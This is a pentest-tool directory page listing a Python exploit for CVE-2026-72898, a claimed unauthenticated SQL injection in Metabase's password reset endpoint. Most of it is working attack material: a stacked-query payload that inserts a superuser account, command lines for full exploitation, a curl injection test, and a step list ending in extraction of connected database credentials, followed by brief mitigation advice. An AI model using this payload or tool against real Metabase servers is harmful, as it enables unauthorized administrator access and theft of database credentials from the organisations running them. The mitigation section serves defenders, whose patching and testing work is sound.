Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-72898 — Python exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password reset endpoint that creates admin accounts and extracts database credentials. | Kitploit
Tools/GitHubGitHub/34zy/cve-2026-72898
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingDatabase Security
GitHub34zy/cve-2026-72898

CVE-2026-72898

Python exploit for CVE-2026-72898, an unauthenticated SQL injection in Metabase's password reset endpoint that creates admin accounts and extracts database credentials.

6h 14m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Metabase SQL Injection RCE

CVSS 10.0 CRITICAL EXPLOITED NO AUTH

Exploitation Demo

Unauthenticated SQL injection in Metabase /api/session/reset_password endpoint. Creates admin accounts and extracts database credentials.

Affected: v58.0 - v63.3 | Patched: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+


Quick Start

root@kitploit:~
pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check

The Vulnerability

String concatenation in SQL query:

root@kitploit:~
# Vulnerable code
query = f"SELECT * FROM core_user WHERE email='{email}'"

Attack payload:

root@kitploit:~
'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --

Usage

Check only (no modification):

root@kitploit:~
python3 CVE-2026-72898.py http://localhost:5000 --check

Full exploitation:

root@kitploit:~
python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!

Manual testing:

root@kitploit:~
# Verify endpoint
curl http://localhost:5000/api/health

# Test SQLi
curl -X POST http://localhost:5000/api/session/reset_password \
  -H "Content-Type: application/json" \
  -d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'

What It Does

  1. Detects Metabase instance (boolean-based SQLi)
  2. Creates admin user via SQL injection
  3. Authenticates with new admin
  4. Extracts connected database credentials
  5. Verifies full system compromise

Impact

  • Unauthenticated admin access
  • Database credential extraction
  • Connected database compromise
  • Full application control

Mitigation

NOW:

  • Upgrade to patched version
  • Block /api/session/reset_password via WAF
  • Audit admin accounts for unauthorized additions
  • Rotate all database credentials

LATER:

  • Use parameterized queries
  • Add input validation
  • Implement authentication on all sensitive endpoints
  • Enable SQL query logging

Links

  • GitHub Advisory
  • NVD CVE Entry

Authorized use only. Unauthorized access is illegal.

Download Tool